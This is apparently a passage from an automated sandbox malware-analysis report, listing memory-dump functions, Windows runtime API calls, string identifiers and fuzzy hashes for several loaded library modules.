                                                    • Opcode Fuzzy Hash: 936032d40fa96b032ac86a2d89c5a398f87e2a2d839e469644f99c68bf1566a7
                                                    • Instruction Fuzzy Hash: 61319C21B1AF5291EA319B07A8005B5B294FB4CFB4F5905B6ED1F0A7A4EF3CE174C200
                                                    Function 00007FFDFF198270 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 85COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ArgumentDecorator::getListName::operator+
                                                    • String ID: ,...$,<ellipsis>$...$<ellipsis>$void
                                                    • API String ID: 953829080-2211150622
                                                    • Opcode ID: 89f9c471a137c41639bb830cdbb2beaab193edc5de156836b20997b225bc8adb
                                                    • Instruction ID: cc7ade264d8312de54710e8422b9fca038a35525afc070ed1b538b175c88ad50
                                                    • Opcode Fuzzy Hash: 89f9c471a137c41639bb830cdbb2beaab193edc5de156836b20997b225bc8adb
                                                    • Instruction Fuzzy Hash: 35413972F08B4688F7118F28E8606B837A0BB49748F885235CA6D9379DDF7CE644C794
                                                    Function 00007FFE14637294 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 26networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Arg_Err_FromLongLong_ParseSizeStringTuple_Unsignedhtons
                                                    • String ID: htons: Python int too large to convert to C 16-bit unsigned integer$htons: can't convert negative Python int to C 16-bit unsigned integer$i:htons
                                                    • API String ID: 1102113319-997571130
                                                    • Opcode ID: 925eea274cc6b993a20bc0d02982b59ac172ba4b942efe6f1114c756d284c707
                                                    • Instruction ID: b53841d6230354ea8395e0855b653759d98cdab0ca5dc88331a67cd3071edea1
                                                    • Opcode Fuzzy Hash: 925eea274cc6b993a20bc0d02982b59ac172ba4b942efe6f1114c756d284c707
                                                    • Instruction Fuzzy Hash: BEF0F961E08EC791EA54DB17E8D00B923A0AF467AAF9044B2E54E867B4DE3CF40CD780
                                                    Function 00007FFE1A492818 Relevance: 12.1, APIs: 8, Instructions: 148COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: abort$AdjustPointer
                                                    • String ID:
                                                    • API String ID: 1501936508-0
                                                    • Opcode ID: cf0ce418dbf8095189d4875bbd922365259c44d693191a2e82a2bfde5589004d
                                                    • Instruction ID: cea8916658e20b88c0b18d2cf85326b70932ae8ef1a8410260adef8efd4c9d20
                                                    • Opcode Fuzzy Hash: cf0ce418dbf8095189d4875bbd922365259c44d693191a2e82a2bfde5589004d
                                                    • Instruction Fuzzy Hash: 02518732B0AE5281EA75DB16944463862A4AF4CFA4F0945F7DA8F067B5DE3CE872C301
                                                    Function 00007FFE1A4929FC Relevance: 12.1, APIs: 8, Instructions: 148COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: abort$AdjustPointer
                                                    • String ID:
                                                    • API String ID: 1501936508-0
                                                    • Opcode ID: 33b9a28e85c1583a9e53f416898540066328f1663c9e5eff4cdc8514e51169f9
                                                    • Instruction ID: e237dcc4936e611a8aca3d430abe8335d0ccee5a1e56867f9d8f6ee8c3880179
                                                    • Opcode Fuzzy Hash: 33b9a28e85c1583a9e53f416898540066328f1663c9e5eff4cdc8514e51169f9
                                                    • Instruction Fuzzy Hash: 5051AA22B0AE5285EA759F17944467863E4AF4CFA1F0981FBCA4F067A5CE7CE4728300
                                                    Function 00007FFDFF160850 Relevance: 12.1, APIs: 8, Instructions: 108COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: a1f7aa499eaf6a9b86d7c54365549fe3ce9840eb339eee382db444e2e732c8b5
                                                    • Instruction ID: 88081834ef400f5c0cc8a6332a5ee1c7c801e3b60b17ec62fa09dae5244b0818
                                                    • Opcode Fuzzy Hash: a1f7aa499eaf6a9b86d7c54365549fe3ce9840eb339eee382db444e2e732c8b5
                                                    • Instruction Fuzzy Hash: A4415E23F09B528AFB459B70E860ABD2365AF44764F144335E97E827DEEF3CA5418340
                                                    Function 00007FFDFF178C4B Relevance: 12.1, APIs: 8, Instructions: 84COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: a72d2ef499f671fbb7964a0b473ec585f506d5fae6ec9d60e47df6ee5f53bb0c
                                                    • Instruction ID: d6781e40e5ab1e3ba19e40fc501e9b25eca177cbefbde9823e6977a4f2671d09
                                                    • Opcode Fuzzy Hash: a72d2ef499f671fbb7964a0b473ec585f506d5fae6ec9d60e47df6ee5f53bb0c
                                                    • Instruction Fuzzy Hash: EE313026F0AB4386FB589B25A474D7967A1AF85BA0F144334DA7E837D9DF3CE4418304
                                                    Function 00007FFDFF178FC0 Relevance: 12.1, APIs: 8, Instructions: 78COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,8948ECD1,00007FFDFF178F87), ref: 00007FFDFF178FCF
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,8948ECD1,00007FFDFF178F87), ref: 00007FFDFF178FDD
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,8948ECD1,00007FFDFF178F87), ref: 00007FFDFF179008
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,8948ECD1,00007FFDFF178F87), ref: 00007FFDFF1B0BF6
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,8948ECD1,00007FFDFF178F87), ref: 00007FFDFF1B0C12
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,8948ECD1,00007FFDFF178F87), ref: 00007FFDFF1B0C3F
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,8948ECD1,00007FFDFF178F87), ref: 00007FFDFF1B0C51
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,8948ECD1,00007FFDFF178F87), ref: 00007FFDFF1B0C68
                                                      • Part of subcall function 00007FFDFF168670: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF16867F
                                                      • Part of subcall function 00007FFDFF168670: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF16868D
                                                      • Part of subcall function 00007FFDFF168670: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1686A1
                                                      • Part of subcall function 00007FFDFF168670: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA,?,?,?,00007FFDFF167561), ref: 00007FFDFF1686BB
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: e62c0be7c3f79f5d2f7e2692c01cb4ace2b2ada40c3dcaba600c76e8386d7665
                                                    • Instruction ID: 82dfaf5d417011dde8f77e161fb0c35344fcef463bfed63278ff50bdfaf0c8ad
                                                    • Opcode Fuzzy Hash: e62c0be7c3f79f5d2f7e2692c01cb4ace2b2ada40c3dcaba600c76e8386d7665
                                                    • Instruction Fuzzy Hash: AF314E22F0D64386FB589B25A974D3923A5AF95BA0F144738D93E837DEEF2DF4418204
                                                    Function 00007FFDFF173C49 Relevance: 12.1, APIs: 8, Instructions: 78COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: c4127be184d2983592b09b0704ffe526489ada689cd3ec5f28169d538e59ef9e
                                                    • Instruction ID: 6429d0551a7a0cc46c11428761aaeb9f15ac72809633be7568a6b37d0384c955
                                                    • Opcode Fuzzy Hash: c4127be184d2983592b09b0704ffe526489ada689cd3ec5f28169d538e59ef9e
                                                    • Instruction Fuzzy Hash: 52318F27F0EA4282FB189B64A874D392391AF94BA0F144735D97E977DEDF3CA9018700
                                                    Function 00007FFDFF158354 Relevance: 12.1, APIs: 8, Instructions: 73COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158363
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158371
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158385
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583A1
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583C3
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583EC
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583FE
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: d56514294cddfa5c738c16af27e3bc278280271e29a1fe60f9201014dd310c71
                                                    • Instruction ID: 706649b9ecec94e7acd4a7bd4661239b53befbe91b62a4c8e9a5bfd81cd506f2
                                                    • Opcode Fuzzy Hash: d56514294cddfa5c738c16af27e3bc278280271e29a1fe60f9201014dd310c71
                                                    • Instruction Fuzzy Hash: 58211D22F0DA4282FB989B25A974D392351AF84BB0F184734D93E867DEDF6CE8418204
                                                    Function 00007FFDFF168990 Relevance: 12.1, APIs: 8, Instructions: 69COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF178646,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1689A2
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF178646,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1689B6
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF178646,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1689D8
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF178646,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1689FF
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF178646,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF168A24
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF178646,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF168A4D
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF178646,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF168A61
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: e86140ea3b7a805f02a24a22a55039bf6fad9b161d1d5ac76024c4a8ce41b285
                                                    • Instruction ID: 8ee942f0d46ee492079c2ec4992bbf49503350e72bb1037958ee88959934996c
                                                    • Opcode Fuzzy Hash: e86140ea3b7a805f02a24a22a55039bf6fad9b161d1d5ac76024c4a8ce41b285
                                                    • Instruction Fuzzy Hash: 8C318022F09A828AFB589B25A474D392351AF84B60F084734D97E877DEDF3CF8918705
                                                    Function 00007FFDFF168790 Relevance: 12.1, APIs: 8, Instructions: 64COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF16879F
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687AD
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687C1
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF1687E1
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF16880B
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF168834
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1A5C6B,?,?,?,?,00007FFDFF154577,?,?,?,?,?,00007FFDFF1A64BB), ref: 00007FFDFF168846
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: 0e3e7de3e0307fbee371afe4d9fefa56aa5346d3ffdb92f15c2c3cbbf6eef3e2
                                                    • Instruction ID: 7aaa0febdc86193f8e6cf5de3b7d06ef38757d20af0c06cc3419bee06545da1b
                                                    • Opcode Fuzzy Hash: 0e3e7de3e0307fbee371afe4d9fefa56aa5346d3ffdb92f15c2c3cbbf6eef3e2
                                                    • Instruction Fuzzy Hash: 38213D26F4DA4386FB589B25A974D392355AF84BB0F044334D83E827DEEF6CA9418704
                                                    Function 00007FFDFF160704 Relevance: 12.1, APIs: 8, Instructions: 63COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000001,00007FFDFF1CB937,?,00000000,?,00000000,?,00000000,00000000,00007FFDFF1CCA81), ref: 00007FFDFF160718
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,00000001,00007FFDFF1CB937,?,00000000,?,00000000,?,00000000,00000000,00007FFDFF1CCA81), ref: 00007FFDFF160726
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,00000001,00007FFDFF1CB937,?,00000000,?,00000000,?,00000000,00000000,00007FFDFF1CCA81), ref: 00007FFDFF16073C
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000001,00007FFDFF1CB937,?,00000000,?,00000000,?,00000000,00000000,00007FFDFF1CCA81), ref: 00007FFDFF160756
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,00000001,00007FFDFF1CB937,?,00000000,?,00000000,?,00000000,00000000,00007FFDFF1CCA81), ref: 00007FFDFF160778
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,00000001,00007FFDFF1CB937,?,00000000,?,00000000,?,00000000,00000000,00007FFDFF1CCA81), ref: 00007FFDFF1607A1
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,00000001,00007FFDFF1CB937,?,00000000,?,00000000,?,00000000,00000000,00007FFDFF1CCA81), ref: 00007FFDFF1607B3
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: 1244dfc85bee4c56bb1cb189cf7200e2342a81e4d86132d71ef50e519e6fdf17
                                                    • Instruction ID: ece100e9d4c381debfad55bd06fe96592b4560b0784c796f428851de5afb2564
                                                    • Opcode Fuzzy Hash: 1244dfc85bee4c56bb1cb189cf7200e2342a81e4d86132d71ef50e519e6fdf17
                                                    • Instruction Fuzzy Hash: 3A218C26F0DA8386FB589B25A974D392352AF84BA0F044334D97E867DEDF7CE4408B00
                                                    Function 00007FFE1A4957C0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 131COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: FileHeader_local_unwind
                                                    • String ID: MOC$RCC$csm$csm
                                                    • API String ID: 2627209546-1441736206
                                                    • Opcode ID: 48d146a85fba6cc68383d4a357e19a92ddcb549a58e0a70336f33e234ca841ed
                                                    • Instruction ID: 8dcff90b15610bbd779a5352f0baf9b18aee8db9e0a1679cf026c3eb0b82079e
                                                    • Opcode Fuzzy Hash: 48d146a85fba6cc68383d4a357e19a92ddcb549a58e0a70336f33e234ca841ed
                                                    • Instruction Fuzzy Hash: BF518262B09E1185FA709F26904137966A0EF4CFB4F2401F3DE4E062A5CF3CE479C642
                                                    Function 00007FFE1A49E520 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: {for
                                                    • API String ID: 2943138195-864106941
                                                    • Opcode ID: 416ecf82abdc7693f83b664dab0e642ebc660969777f9551cf3e7d4c265d34da
                                                    • Instruction ID: 9a2fa7fd6dc056b4e73055afa059714b9fd37ba138bbf8a0b55dcf6908186a05
                                                    • Opcode Fuzzy Hash: 416ecf82abdc7693f83b664dab0e642ebc660969777f9551cf3e7d4c265d34da
                                                    • Instruction Fuzzy Hash: A0512C72B08B85A9E7219F26D4453F867A1EB48B58F8080F2EA4E07AA5DF7CD575C340
                                                    Function 00007FFE14634EAC Relevance: 10.6, APIs: 7, Instructions: 103COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
